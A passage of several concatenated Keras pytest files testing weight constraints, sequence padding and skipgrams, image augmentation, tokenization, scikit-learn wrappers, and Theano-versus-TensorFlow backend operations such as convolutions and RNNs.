                             max_q_size=10,
                             pickle_safe=False)
    reached_end = True

    assert reached_end


if __name__ == '__main__':

    pytest.main([__file__])






import pytest
import numpy as np
from numpy.testing import assert_allclose

from keras import backend as K
from keras import constraints


test_values = [0.1, 0.5, 3, 8, 1e-7]
np.random.seed(3537)
example_array = np.random.random((100, 100)) * 100. - 50.
example_array[0, 0] = 0.  # 0 could possibly cause trouble


def test_maxnorm():
    for m in test_values:
        norm_instance = constraints.maxnorm(m)
        normed = norm_instance(K.variable(example_array))
        assert(np.all(K.eval(normed) < m))

    # a more explicit example
    norm_instance = constraints.maxnorm(2.0)
    x = np.array([[0, 0, 0], [1.0, 0, 0], [3, 0, 0], [3, 3, 3]]).T
    x_normed_target = np.array([[0, 0, 0], [1.0, 0, 0],
                                [2.0, 0, 0],
                                [2. / np.sqrt(3), 2. / np.sqrt(3), 2. / np.sqrt(3)]]).T
    x_normed_actual = K.eval(norm_instance(K.variable(x)))
    assert_allclose(x_normed_actual, x_normed_target, rtol=1e-05)


def test_nonneg():
    nonneg_instance = constraints.nonneg()
    normed = nonneg_instance(K.variable(example_array))
    assert(np.all(np.min(K.eval(normed), axis=1) == 0.))


def test_unitnorm():
    unitnorm_instance = constraints.unitnorm()
    normalized = unitnorm_instance(K.variable(example_array))
    norm_of_normalized = np.sqrt(np.sum(K.eval(normalized)**2, axis=0))
    # in the unit norm constraint, it should be equal to 1.
    difference = norm_of_normalized - 1.
    largest_difference = np.max(np.abs(difference))
    assert(np.abs(largest_difference) < 10e-5)


if __name__ == '__main__':
    pytest.main([__file__])






import numpy as np
from numpy.testing import assert_allclose

import pytest

from keras.preprocessing.sequence import pad_sequences
from keras.preprocessing.sequence import make_sampling_table
from keras.preprocessing.sequence import skipgrams


def test_pad_sequences():
    a = [[1], [1, 2], [1, 2, 3]]

    # test padding
    b = pad_sequences(a, maxlen=3, padding='pre')
    assert_allclose(b, [[0, 0, 1], [0, 1, 2], [1, 2, 3]])
    b = pad_sequences(a, maxlen=3, padding='post')
    assert_allclose(b, [[1, 0, 0], [1, 2, 0], [1, 2, 3]])

    # test truncating
    b = pad_sequences(a, maxlen=2, truncating='pre')
    assert_allclose(b, [[0, 1], [1, 2], [2, 3]])
    b = pad_sequences(a, maxlen=2, truncating='post')
    assert_allclose(b, [[0, 1], [1, 2], [1, 2]])

    # test value
    b = pad_sequences(a, maxlen=3, value=1)
    assert_allclose(b, [[1, 1, 1], [1, 1, 2], [1, 2, 3]])


def test_pad_sequences_vector():
    a = [[[1, 1]],
         [[2, 1], [2, 2]],
         [[3, 1], [3, 2], [3, 3]]]

    # test padding
    b = pad_sequences(a, maxlen=3, padding='pre')
    assert_allclose(b, [[[0, 0], [0, 0], [1, 1]],
                        [[0, 0], [2, 1], [2, 2]],
                        [[3, 1], [3, 2], [3, 3]]])
    b = pad_sequences(a, maxlen=3, padding='post')
    assert_allclose(b, [[[1, 1], [0, 0], [0, 0]],
                        [[2, 1], [2, 2], [0, 0]],
                        [[3, 1], [3, 2], [3, 3]]])

    # test truncating
    b = pad_sequences(a, maxlen=2, truncating='pre')
    assert_allclose(b, [[[0, 0], [1, 1]],
                        [[2, 1], [2, 2]],
                        [[3, 2], [3, 3]]])

    b = pad_sequences(a, maxlen=2, truncating='post')
    assert_allclose(b, [[[0, 0], [1, 1]],
                        [[2, 1], [2, 2]],
                        [[3, 1], [3, 2]]])

    # test value
    b = pad_sequences(a, maxlen=3, value=1)
    assert_allclose(b, [[[1, 1], [1, 1], [1, 1]],
                        [[1, 1], [2, 1], [2, 2]],
                        [[3, 1], [3, 2], [3, 3]]])


def test_make_sampling_table():
    a = make_sampling_table(3)
    assert_allclose(a, np.asarray([0.00315225,  0.00315225,  0.00547597]),
                    rtol=.1)


def test_skipgrams():
    # test with no window size and binary labels
    couples, labels = skipgrams(np.arange(3), vocabulary_size=3)
    for couple in couples:
        assert couple[0] in [0, 1, 2] and couple[1] in [0, 1, 2]

    # test window size and categorical labels
    couples, labels = skipgrams(np.arange(5), vocabulary_size=5, window_size=1,
                                categorical=True)
    for couple in couples:
        assert couple[0] - couple[1] <= 3
    for l in labels:
        assert len(l) == 2


if __name__ == '__main__':
    pytest.main([__file__])






import pytest
from keras.preprocessing.image import *
from PIL import Image
import numpy as np
import os
import shutil
import tempfile


class TestImage:

    def setup_class(cls):
        img_w = img_h = 20
        rgb_images = []
        gray_images = []
        for n in range(8):
            bias = np.random.rand(img_w, img_h, 1) * 64
            variance = np.random.rand(img_w, img_h, 1) * (255-64)
            imarray = np.random.rand(img_w, img_h, 3) * variance + bias
            im = Image.fromarray(imarray.astype('uint8')).convert('RGB')
            rgb_images.append(im)

            imarray = np.random.rand(img_w, img_h, 1) * variance + bias
            im = Image.fromarray(imarray.astype('uint8').squeeze()).convert('L')
            gray_images.append(im)

        cls.all_test_images = [rgb_images, gray_images]

    def teardown_class(cls):
        del cls.all_test_images

    def test_image_data_generator(self):
        for test_images in self.all_test_images:
            img_list = []
            for im in test_images:
                img_list.append(img_to_array(im)[None, ...])

            images = np.vstack(img_list)
            generator = ImageDataGenerator(
                featurewise_center=True,
                samplewise_center=True,
                featurewise_std_normalization=True,
                samplewise_std_normalization=True,
                zca_whitening=True,
                rotation_range=90.,
                width_shift_range=0.1,
                height_shift_range=0.1,
                shear_range=0.5,
                zoom_range=0.2,
                channel_shift_range=0.,
                fill_mode='nearest',
                cval=0.5,
                horizontal_flip=True,
                vertical_flip=True)
            generator.fit(images, augment=True)

            tmp_folder = tempfile.mkdtemp(prefix='test_images')
            for x, y in generator.flow(images, np.arange(images.shape[0]),
                                       shuffle=True, save_to_dir=tmp_folder):
                assert x.shape[1:] == images.shape[1:]
                break
            shutil.rmtree(tmp_folder)

    def test_img_flip(self):
        x = np.array(range(4)).reshape([1, 1, 2, 2])
        assert (flip_axis(x, 0) == x).all()
        assert (flip_axis(x, 1) == x).all()
        assert (flip_axis(x, 2) == [[[[2, 3], [0, 1]]]]).all()
        assert (flip_axis(x, 3) == [[[[1, 0], [3, 2]]]]).all()

        dim_ordering_and_col_index = (('tf', 2), ('th', 3))
        for dim_ordering, col_index in dim_ordering_and_col_index:
            image_generator_th = ImageDataGenerator(
                featurewise_center=False,
                samplewise_center=False,
                featurewise_std_normalization=False,
                samplewise_std_normalization=False,
                zca_whitening=False,
                rotation_range=0,
                width_shift_range=0,
                height_shift_range=0,
                shear_range=0,
                zoom_range=0,
                channel_shift_range=0,
                horizontal_flip=True,
                vertical_flip=False,
                dim_ordering=dim_ordering).flow(x, [1])
            for i in range(10):
                potentially_flipped_x, _ = next(image_generator_th)
                assert ((potentially_flipped_x == x).all() or
                        (potentially_flipped_x == flip_axis(x, col_index)).all())


if __name__ == '__main__':
    pytest.main([__file__])






from keras.preprocessing.text import Tokenizer, one_hot
import pytest
import numpy as np


def test_one_hot():
    text = 'The cat sat on the mat.'
    encoded = one_hot(text, 5)
    assert len(encoded) == 6
    assert np.max(encoded) <= 4
    assert np.min(encoded) >= 0


def test_tokenizer():
    texts = ['The cat sat on the mat.',
             'The dog sat on the log.',
             'Dogs and cats living together.']
    tokenizer = Tokenizer(nb_words=10)
    tokenizer.fit_on_texts(texts)

    sequences = []
    for seq in tokenizer.texts_to_sequences_generator(texts):
        sequences.append(seq)
    assert np.max(np.max(sequences)) < 10
    assert np.min(np.min(sequences)) == 1

    tokenizer.fit_on_sequences(sequences)

    for mode in ['binary', 'count', 'tfidf', 'freq']:
        matrix = tokenizer.texts_to_matrix(texts, mode)


if __name__ == '__main__':
    pytest.main([__file__])






import pytest
import numpy as np

from keras.utils.test_utils import get_test_data
from keras.utils import np_utils
from keras import backend as K

from keras.models import Sequential
from keras.layers.core import Dense, Activation
from keras.wrappers.scikit_learn import KerasClassifier, KerasRegressor

input_dim = 5
hidden_dims = 5
nb_train = 100
nb_test = 50
nb_class = 3
batch_size = 32
nb_epoch = 1
verbosity = 0
optim = 'adam'
loss = 'categorical_crossentropy'

np.random.seed(42)
(X_train, y_train), (X_test, y_test) = get_test_data(
    nb_train=nb_train, nb_test=nb_test, input_shape=(input_dim,),
    classification=True, nb_class=nb_class)


def build_fn_clf(hidden_dims):
    model = Sequential()
    model.add(Dense(input_dim, input_shape=(input_dim,)))
    model.add(Activation('relu'))
    model.add(Dense(hidden_dims))
    model.add(Activation('relu'))
    model.add(Dense(nb_class))
    model.add(Activation('softmax'))
    model.compile(optimizer='sgd', loss='categorical_crossentropy',
                  metrics=['accuracy'])
    return model


def test_clasify_build_fn():
    clf = KerasClassifier(
        build_fn=build_fn_clf, hidden_dims=hidden_dims,
        batch_size=batch_size, nb_epoch=nb_epoch)

    assert_classification_works(clf)


def test_clasify_class_build_fn():
    class ClassBuildFnClf(object):
        def __call__(self, hidden_dims):
            return build_fn_clf(hidden_dims)

    clf = KerasClassifier(
        build_fn=ClassBuildFnClf(), hidden_dims=hidden_dims,
        batch_size=batch_size, nb_epoch=nb_epoch)

    assert_classification_works(clf)


def test_clasify_inherit_class_build_fn():
    class InheritClassBuildFnClf(KerasClassifier):
        def __call__(self, hidden_dims):
            return build_fn_clf(hidden_dims)

    clf = InheritClassBuildFnClf(
        build_fn=None, hidden_dims=hidden_dims,
        batch_size=batch_size, nb_epoch=nb_epoch)

    assert_classification_works(clf)


def assert_classification_works(clf):
    clf.fit(X_train, y_train, batch_size=batch_size, nb_epoch=nb_epoch)

    score = clf.score(X_train, y_train, batch_size=batch_size)
    assert np.isscalar(score) and np.isfinite(score)

    preds = clf.predict(X_test, batch_size=batch_size)
    assert preds.shape == (nb_test, )
    for prediction in np.unique(preds):
        assert prediction in range(nb_class)

    proba = clf.predict_proba(X_test, batch_size=batch_size)
    assert proba.shape == (nb_test, nb_class)
    assert np.allclose(np.sum(proba, axis=1), np.ones(nb_test))


def build_fn_reg(hidden_dims=50):
    model = Sequential()
    model.add(Dense(input_dim, input_shape=(input_dim,)))
    model.add(Activation('relu'))
    model.add(Dense(hidden_dims))
    model.add(Activation('relu'))
    model.add(Dense(1))
    model.add(Activation('linear'))
    model.compile(optimizer='sgd', loss='mean_absolute_error',
                  metrics=['accuracy'])
    return model


def test_regression_build_fn():
    reg = KerasRegressor(
        build_fn=build_fn_reg, hidden_dims=hidden_dims,
        batch_size=batch_size, nb_epoch=nb_epoch)

    assert_regression_works(reg)


def test_regression_class_build_fn():
    class ClassBuildFnReg(object):
        def __call__(self, hidden_dims):
            return build_fn_reg(hidden_dims)

    reg = KerasRegressor(
        build_fn=ClassBuildFnReg(), hidden_dims=hidden_dims,
        batch_size=batch_size, nb_epoch=nb_epoch)

    assert_regression_works(reg)


def test_regression_inherit_class_build_fn():
    class InheritClassBuildFnReg(KerasRegressor):
        def __call__(self, hidden_dims):
            return build_fn_reg(hidden_dims)

    reg = InheritClassBuildFnReg(
        build_fn=None, hidden_dims=hidden_dims,
        batch_size=batch_size, nb_epoch=nb_epoch)

    assert_regression_works(reg)


def assert_regression_works(reg):
    reg.fit(X_train, y_train, batch_size=batch_size, nb_epoch=nb_epoch)

    score = reg.score(X_train, y_train, batch_size=batch_size)
    assert np.isscalar(score) and np.isfinite(score)

    preds = reg.predict(X_test, batch_size=batch_size)
    assert preds.shape == (nb_test, )


if __name__ == '__main__':
    pytest.main([__file__])

# Usage of sklearn's grid_search
# from sklearn import grid_search
# parameters = dict(hidden_dims = [20, 30], batch_size=[64, 128], nb_epoch=[2], verbose=[0])
# classifier = Inherit_class_build_fn_clf()
# clf = grid_search.GridSearchCV(classifier, parameters)
# clf.fit(X_train, y_train)
# parameters = dict(hidden_dims = [20, 30], batch_size=[64, 128], nb_epoch=[2], verbose=[0])
# regressor = Inherit_class_build_fn_reg()
# reg = grid_search.GridSearchCV(regressor, parameters, scoring='mean_squared_error', n_jobs=1, cv=2, verbose=2)
# reg.fit(X_train_reg, y_train_reg)






import sys
import pytest
from numpy.testing import assert_allclose
import numpy as np

from keras.backend import theano_backend as KTH
from keras.backend import tensorflow_backend as KTF
from keras.utils.np_utils import convert_kernel


def check_single_tensor_operation(function_name, input_shape, **kwargs):
    val = np.random.random(input_shape) - 0.5
    xth = KTH.variable(val)
    xtf = KTF.variable(val)

    zth = KTH.eval(getattr(KTH, function_name)(xth, **kwargs))
    ztf = KTF.eval(getattr(KTF, function_name)(xtf, **kwargs))

    assert zth.shape == ztf.shape
    assert_allclose(zth, ztf, atol=1e-05)


def check_two_tensor_operation(function_name, x_input_shape,
                               y_input_shape, **kwargs):
    xval = np.random.random(x_input_shape) - 0.5

    xth = KTH.variable(xval)
    xtf = KTF.variable(xval)

    yval = np.random.random(y_input_shape) - 0.5

    yth = KTH.variable(yval)
    ytf = KTF.variable(yval)

    zth = KTH.eval(getattr(KTH, function_name)(xth, yth, **kwargs))
    ztf = KTF.eval(getattr(KTF, function_name)(xtf, ytf, **kwargs))

    assert zth.shape == ztf.shape
    assert_allclose(zth, ztf, atol=1e-05)


def check_composed_tensor_operations(first_function_name, first_function_args,
                                     second_function_name, second_function_args,
                                     input_shape):
    ''' Creates a random tensor t0 with shape input_shape and compute
                 t1 = first_function_name(t0, **first_function_args)
                 t2 = second_function_name(t1, **second_function_args)
        with both Theano and TensorFlow backends and ensures the answers match.
    '''
    val = np.random.random(input_shape) - 0.5
    xth = KTH.variable(val)
    xtf = KTF.variable(val)

    yth = getattr(KTH, first_function_name)(xth, **first_function_args)
    ytf = getattr(KTF, first_function_name)(xtf, **first_function_args)

    zth = KTH.eval(getattr(KTH, second_function_name)(yth, **second_function_args))
    ztf = KTF.eval(getattr(KTF, second_function_name)(ytf, **second_function_args))

    assert zth.shape == ztf.shape
    assert_allclose(zth, ztf, atol=1e-05)


class TestBackend(object):

    def test_linear_operations(self):
        check_two_tensor_operation('dot', (4, 2), (2, 4))
        check_two_tensor_operation('dot', (4, 2), (5, 2, 3))

        check_two_tensor_operation('batch_dot', (4, 2, 3), (4, 5, 3),
                                   axes=(2, 2))
        check_single_tensor_operation('transpose', (4, 2))
        check_single_tensor_operation('reverse', (4, 3, 2), axes=1)
        check_single_tensor_operation('reverse', (4, 3, 2), axes=(1, 2))

    def test_shape_operations(self):
        # concatenate
        xval = np.random.random((4, 3))
        xth = KTH.variable(xval)
        xtf = KTF.variable(xval)
        yval = np.random.random((4, 2))
        yth = KTH.variable(yval)
        ytf = KTF.variable(yval)
        zth = KTH.eval(KTH.concatenate([xth, yth], axis=-1))
        ztf = KTF.eval(KTF.concatenate([xtf, ytf], axis=-1))
        assert zth.shape == ztf.shape
        assert_allclose(zth, ztf, atol=1e-05)

        check_single_tensor_operation('reshape', (4, 2), shape=(8, 1))
        check_single_tensor_operation('permute_dimensions', (4, 2, 3),
                                      pattern=(2, 0, 1))
        check_single_tensor_operation('repeat', (4, 1), n=3)
        check_single_tensor_operation('flatten', (4, 1))
        check_single_tensor_operation('expand_dims', (4, 3), dim=-1)
        check_single_tensor_operation('expand_dims', (4, 3, 2), dim=1)
        check_single_tensor_operation('squeeze', (4, 3, 1), axis=2)
        check_single_tensor_operation('squeeze', (4, 1, 1), axis=1)
        check_composed_tensor_operations('reshape', {'shape': (4, 3, 1, 1)},
                                         'squeeze', {'axis': 2},
                                         (4, 3, 1, 1))

    def test_repeat_elements(self):
        reps = 3
        for ndims in [1, 2, 3]:
            shape = np.arange(2, 2 + ndims)
            arr = np.arange(np.prod(shape)).reshape(shape)
            arr_th = KTH.variable(arr)
            arr_tf = KTF.variable(arr)

            for rep_axis in range(ndims):
                np_rep = np.repeat(arr, reps, axis=rep_axis)
                th_rep = KTH.eval(
                    KTH.repeat_elements(arr_th, reps, axis=rep_axis))
                tf_rep = KTF.eval(
                    KTF.repeat_elements(arr_tf, reps, axis=rep_axis))

                assert th_rep.shape == np_rep.shape
                assert tf_rep.shape == np_rep.shape
                assert_allclose(np_rep, th_rep, atol=1e-05)
                assert_allclose(np_rep, tf_rep, atol=1e-05)

    def test_tile(self):
        shape = (3, 4)
        arr = np.arange(np.prod(shape)).reshape(shape)
        arr_th = KTH.variable(arr)
        arr_tf = KTF.variable(arr)

        n = (2, 1)
        th_rep = KTH.eval(KTH.tile(arr_th, n))
        tf_rep = KTF.eval(KTF.tile(arr_tf, n))
        assert_allclose(tf_rep, th_rep, atol=1e-05)

    def test_value_manipulation(self):
        val = np.random.random((4, 2))
        xth = KTH.variable(val)
        xtf = KTF.variable(val)

        # get_value
        valth = KTH.get_value(xth)
        valtf = KTF.get_value(xtf)
        assert valtf.shape == valth.shape
        assert_allclose(valth, valtf, atol=1e-05)

        # set_value
        val = np.random.random((4, 2))
        KTH.set_value(xth, val)
        KTF.set_value(xtf, val)

        valth = KTH.get_value(xth)
        valtf = KTF.get_value(xtf)
        assert valtf.shape == valth.shape
        assert_allclose(valth, valtf, atol=1e-05)

        # count_params
        assert KTH.count_params(xth) == KTF.count_params(xtf)

        # print_tensor
        check_single_tensor_operation('print_tensor', ())
        check_single_tensor_operation('print_tensor', (2,))
        check_single_tensor_operation('print_tensor', (4, 3))
        check_single_tensor_operation('print_tensor', (1, 2, 3))

    def test_elementwise_operations(self):
        check_single_tensor_operation('max', (4, 2))
        check_single_tensor_operation('max', (4, 2), axis=1, keepdims=True)

        check_single_tensor_operation('min', (4, 2))
        check_single_tensor_operation('min', (4, 2), axis=1, keepdims=True)
        check_single_tensor_operation('min', (4, 2, 3), axis=[1, -1])

        check_single_tensor_operation('mean', (4, 2))
        check_single_tensor_operation('mean', (4, 2), axis=1, keepdims=True)
        check_single_tensor_operation('mean', (4, 2, 3), axis=-1, keepdims=True)
        check_single_tensor_operation('mean', (4, 2, 3), axis=[1, -1])

        check_single_tensor_operation('std', (4, 2))
        check_single_tensor_operation('std', (4, 2), axis=1, keepdims=True)
        check_single_tensor_operation('std', (4, 2, 3), axis=[1, -1])

        check_single_tensor_operation('prod', (4, 2))
        check_single_tensor_operation('prod', (4, 2), axis=1, keepdims=True)
        check_single_tensor_operation('prod', (4, 2, 3), axis=[1, -1])

        # does not work yet, wait for bool <-> int casting in TF (coming soon)
        # check_single_tensor_operation('any', (4, 2))
        # check_single_tensor_operation('any', (4, 2), axis=1, keepdims=True)
        #
        # check_single_tensor_operation('any', (4, 2))
        # check_single_tensor_operation('any', (4, 2), axis=1, keepdims=True)

        check_single_tensor_operation('argmax', (4, 2))
        check_single_tensor_operation('argmax', (4, 2), axis=1)

        check_single_tensor_operation('argmin', (4, 2))
        check_single_tensor_operation('argmin', (4, 2), axis=1)

        check_single_tensor_operation('square', (4, 2))
        check_single_tensor_operation('abs', (4, 2))
        check_single_tensor_operation('sqrt', (4, 2))
        check_single_tensor_operation('exp', (4, 2))
        check_single_tensor_operation('log', (4, 2))
        check_single_tensor_operation('round', (4, 2))
        check_single_tensor_operation('sign', (4, 2))
        check_single_tensor_operation('pow', (4, 2), a=3)
        check_single_tensor_operation('clip', (4, 2), min_value=0.4,
                                      max_value=0.6)

        # two-tensor ops
        check_two_tensor_operation('equal', (4, 2), (4, 2))
        check_two_tensor_operation('not_equal', (4, 2), (4, 2))
        check_two_tensor_operation('greater', (4, 2), (4, 2))
        check_two_tensor_operation('greater_equal', (4, 2), (4, 2))
        check_two_tensor_operation('lesser', (4, 2), (4, 2))
        check_two_tensor_operation('lesser_equal', (4, 2), (4, 2))
        check_two_tensor_operation('maximum', (4, 2), (4, 2))
        check_two_tensor_operation('minimum', (4, 2), (4, 2))

    def test_gradient(self):
        val = np.random.random((4, 2))
        xth = KTH.variable(val)
        xtf = KTF.variable(val)

        expth = xth * KTH.exp(xth)
        exptf = xtf * KTF.exp(xtf)
        lossth = KTH.sum(expth)
        losstf = KTF.sum(exptf)
        zero_lossth = KTH.stop_gradient(lossth)
        zero_losstf = KTF.stop_gradient(losstf)

        gradth = KTH.gradients(lossth, [expth])
        gradtf = KTF.gradients(losstf, [exptf])
        zero_gradth = KTH.gradients(lossth + zero_lossth, [expth])
        zero_gradtf = KTF.gradients(losstf + zero_losstf, [exptf])

        zth = KTH.eval(gradth[0])
        ztf = KTF.eval(gradtf[0])
        zero_zth = KTH.eval(zero_gradth[0])
        zero_ztf = KTF.eval(zero_gradtf[0])
        assert zth.shape == ztf.shape
        assert zero_zth.shape == zero_ztf.shape
        assert_allclose(zth, ztf, atol=1e-05)
        assert_allclose(zero_zth, zero_ztf, atol=1e-05)
        assert_allclose(zero_zth, zth, atol=1e-05)
        assert_allclose(zero_ztf, ztf, atol=1e-05)

    def test_function(self):
        val = np.random.random((4, 2))
        input_val = np.random.random((4, 2))

        xth = KTH.variable(val)
        xtf = KTF.variable(val)
        yth = KTH.placeholder(ndim=2)
        ytf = KTF.placeholder(ndim=2)

        exp_th = KTH.square(xth) + yth
        exp_tf = KTF.square(xtf) + ytf

        update_th = xth * 2
        update_tf = xtf * 2
        fth = KTH.function([yth], [exp_th], updates=[(xth, update_th)])
        ftf = KTF.function([ytf], [exp_tf], updates=[(xtf, update_tf)])

        function_outputs_th = fth([input_val])[0]
        function_outputs_tf = ftf([input_val])[0]
        assert function_outputs_th.shape == function_outputs_tf.shape
        assert_allclose(function_outputs_th, function_outputs_tf, atol=1e-05)

        new_val_th = KTH.get_value(xth)
        new_val_tf = KTF.get_value(xtf)
        assert new_val_th.shape == new_val_tf.shape
        assert_allclose(new_val_th, new_val_tf, atol=1e-05)

    def test_rnn(self):
        # implement a simple RNN
        input_dim = 8
        output_dim = 4
        timesteps = 5

        input_val = np.random.random((32, timesteps, input_dim))
        init_state_val = np.random.random((32, output_dim))
        W_i_val = np.random.random((input_dim, output_dim))
        W_o_val = np.random.random((output_dim, output_dim))

        def rnn_step_fn(input_dim, output_dim, K):
            W_i = K.variable(W_i_val)
            W_o = K.variable(W_o_val)

            def step_function(x, states):
                assert len(states) == 1
                prev_output = states[0]
                output = K.dot(x, W_i) + K.dot(prev_output, W_o)
                return output, [output]
            return step_function

        th_rnn_step_fn = rnn_step_fn(input_dim, output_dim, KTH)
        th_inputs = KTH.variable(input_val)
        th_initial_states = [KTH.variable(init_state_val)]
        last_output, outputs, new_states = KTH.rnn(th_rnn_step_fn, th_inputs,
                                                   th_initial_states,
                                                   go_backwards=False,
                                                   mask=None)
        th_last_output = KTH.eval(last_output)
        th_outputs = KTH.eval(outputs)
        assert len(new_states) == 1
        th_state = KTH.eval(new_states[0])

        tf_rnn_step_fn = rnn_step_fn(input_dim, output_dim, KTF)
        tf_inputs = KTF.variable(input_val)
        tf_initial_states = [KTF.variable(init_state_val)]
        last_output, outputs, new_states = KTF.rnn(tf_rnn_step_fn, tf_inputs,
                                                   tf_initial_states,
                                                   go_backwards=False,
                                                   mask=None)
        tf_last_output = KTF.eval(last_output)
        tf_outputs = KTF.eval(outputs)
        assert len(new_states) == 1
        tf_state = KTF.eval(new_states[0])

        assert_allclose(tf_last_output, th_last_output, atol=1e-04)
        assert_allclose(tf_outputs, th_outputs, atol=1e-04)
        assert_allclose(tf_state, th_state, atol=1e-04)

        # test unroll
        unrolled_last_output, unrolled_outputs, unrolled_new_states = KTH.rnn(
            th_rnn_step_fn, th_inputs,
            th_initial_states,
            go_backwards=False,
            mask=None,
            unroll=True,
            input_length=timesteps)

        unrolled_th_last_output = KTH.eval(unrolled_last_output)
        unrolled_th_outputs = KTH.eval(unrolled_outputs)
        assert len(unrolled_new_states) == 1
        unrolled_th_state = KTH.eval(unrolled_new_states[0])
        assert_allclose(th_last_output, unrolled_th_last_output, atol=1e-04)
        assert_allclose(th_outputs, unrolled_th_outputs, atol=1e-04)
        assert_allclose(th_state, unrolled_th_state, atol=1e-04)

        # test unroll with backwards = True
        bwd_last_output, bwd_outputs, bwd_new_states = KTH.rnn(
            th_rnn_step_fn, th_inputs,
            th_initial_states,
            go_backwards=True,
            mask=None)
        bwd_th_last_output = KTH.eval(bwd_last_output)
        bwd_th_outputs = KTH.eval(bwd_outputs)
        assert len(bwd_new_states) == 1
        bwd_th_state = KTH.eval(bwd_new_states[0])

        bwd_unrolled_last_output, bwd_unrolled_outputs, bwd_unrolled_new_states = KTH.rnn(
            th_rnn_step_fn, th_inputs,
            th_initial_states,
            go_backwards=True,
            mask=None,
            unroll=True,
            input_length=timesteps)

        bwd_unrolled_th_last_output = KTH.eval(bwd_unrolled_last_output)
        bwd_unrolled_th_outputs = KTH.eval(bwd_unrolled_outputs)
        assert len(bwd_unrolled_new_states) == 1
        bwd_unrolled_th_state = KTH.eval(bwd_unrolled_new_states[0])
        assert_allclose(bwd_th_last_output, bwd_unrolled_th_last_output, atol=1e-04)
        assert_allclose(bwd_th_outputs, bwd_unrolled_th_outputs, atol=1e-04)
        assert_allclose(bwd_th_state, bwd_unrolled_th_state, atol=1e-04)

        # test unroll with masking
        np_mask = np.random.randint(2, size=(32, timesteps))
        th_mask = KTH.variable(np_mask)

        masked_last_output, masked_outputs, masked_new_states = KTH.rnn(
            th_rnn_step_fn, th_inputs,
            th_initial_states,
            go_backwards=False,
            mask=th_mask)
        masked_th_last_output = KTH.eval(masked_last_output)
        masked_th_outputs = KTH.eval(masked_outputs)
        assert len(masked_new_states) == 1
        masked_th_state = KTH.eval(masked_new_states[0])

        unrolled_masked_last_output, unrolled_masked_outputs, unrolled_masked_new_states = KTH.rnn(
            th_rnn_step_fn, th_inputs,
            th_initial_states,
            go_backwards=False,
            mask=th_mask,
            unroll=True,
            input_length=timesteps)
        unrolled_masked_th_last_output = KTH.eval(unrolled_masked_last_output)
        unrolled_masked_th_outputs = KTH.eval(unrolled_masked_outputs)
        assert len(unrolled_masked_new_states) == 1
        unrolled_masked_th_state = KTH.eval(unrolled_masked_new_states[0])

        assert_allclose(unrolled_masked_th_last_output, masked_th_last_output, atol=1e-04)
        assert_allclose(unrolled_masked_th_outputs, masked_th_outputs, atol=1e-04)
        assert_allclose(unrolled_masked_th_state, masked_th_state, atol=1e-04)

    def test_switch(self):
        val = np.random.random()
        xth = KTH.variable(val)
        xth = KTH.switch(xth >= 0.5, xth * 0.1, xth * 0.2)

        xtf = KTF.variable(val)
        xtf = KTF.switch(xtf >= 0.5, xtf * 0.1, xtf * 0.2)

        zth = KTH.eval(xth)
        ztf = KTF.eval(xtf)

        assert zth.shape == ztf.shape
        assert_allclose(zth, ztf, atol=1e-05)

    def test_nn_operations(self):
        check_single_tensor_operation('relu', (4, 2), alpha=0.1, max_value=0.5)
        check_single_tensor_operation('softmax', (4, 10))
        check_single_tensor_operation('softplus', (4, 10))

        check_single_tensor_operation('sigmoid', (4, 2))
        check_single_tensor_operation('hard_sigmoid', (4, 2))
        check_single_tensor_operation('tanh', (4, 2))

        # dropout
        val = np.random.random((100, 100))
        xth = KTH.variable(val)
        xtf = KTF.variable(val)
        zth = KTH.eval(KTH.dropout(xth, level=0.2))
        ztf = KTF.eval(KTF.dropout(xtf, level=0.2))
        assert zth.shape == ztf.shape
        # dropout patterns are different, only check mean
        assert np.abs(zth.mean() - ztf.mean()) < 0.05

        check_two_tensor_operation('binary_crossentropy', (4, 2), (4, 2), from_logits=True)
        check_two_tensor_operation('categorical_crossentropy', (4, 2), (4, 2), from_logits=True)
        check_two_tensor_operation('binary_crossentropy', (4, 2), (4, 2), from_logits=False)
        check_two_tensor_operation('categorical_crossentropy', (4, 2), (4, 2), from_logits=False)

        check_single_tensor_operation('l2_normalize', (4, 3), axis=-1)
        check_single_tensor_operation('l2_normalize', (4, 3), axis=1)

    def test_conv2d(self):
        # TH kernel shape: (depth, input_depth, rows, cols)
        # TF kernel shape: (rows, cols, input_depth, depth)

        for input_shape in [(2, 3, 4, 5), (2, 3, 5, 6)]:
            for kernel_shape in [(4, 3, 2, 2), (4, 3, 3, 4)]:
                xval = np.random.random(input_shape)

                xth = KTH.variable(xval)
                xtf = KTF.variable(xval)

                kernel_val = np.random.random(kernel_shape) - 0.5

                kernel_th = KTH.variable(convert_kernel(kernel_val))
                kernel_tf = KTF.variable(kernel_val)

                zth = KTH.eval(KTH.conv2d(xth, kernel_th))
                ztf = KTF.eval(KTF.conv2d(xtf, kernel_tf))

                assert zth.shape == ztf.shape
                assert_allclose(zth, ztf, atol=1e-05)

        input_shape = (1, 6, 5, 3)
        kernel_shape = (3, 3, 3, 2)

        xval = np.random.random(input_shape)

        xth = KTH.variable(xval)
        xtf = KTF.variable(xval)

        kernel_val = np.random.random(kernel_shape) - 0.5

        kernel_th = KTH.variable(convert_kernel(kernel_val, dim_ordering='tf'))
        kernel_tf = KTF.variable(kernel_val)

        zth = KTH.eval(KTH.conv2d(xth, kernel_th, dim_ordering='tf'))
        ztf = KTF.eval(KTF.conv2d(xtf, kernel_tf, dim_ordering='tf'))

        assert zth.shape == ztf.shape
        assert_allclose(zth, ztf, atol=1e-05)

    def test_conv3d(self):
        # TH input shape: (samples, input_depth, conv_dim1, conv_dim2, conv_dim3)
        # TF input shape: (samples, conv_dim1, conv_dim2, conv_dim3, input_depth)
        # TH kernel shape: (depth, input_depth, x, y, z)
        # TF kernel shape: (x, y, z, input_depth, depth)

        # test in dim_ordering = th
        for input_shape in [(2, 3, 4, 5, 4), (2, 3, 5, 4, 6)]:
            for kernel_shape in [(4, 3, 2, 2, 2), (4, 3, 3, 2, 4)]:
                xval = np.random.random(input_shape)

                xth = KTH.variable(xval)
                xtf = KTF.variable(xval)

                kernel_val = np.random.random(kernel_shape) - 0.5

                kernel_th = KTH.variable(convert_kernel(kernel_val))
                kernel_tf = KTF.variable(kernel_val)

                zth = KTH.eval(KTH.conv3d(xth, kernel_th))
                ztf = KTF.eval(KTF.conv3d(xtf, kernel_tf))

                assert zth.shape == ztf.shape
                assert_allclose(zth, ztf, atol=1e-05)

        # test in dim_ordering = tf
        input_shape = (1, 2, 2, 2, 1)
        kernel_shape = (2, 2, 2, 1, 1)

        xval = np.random.random(input_shape)

        xth = KTH.variable(xval)
        xtf = KTF.variable(xval)

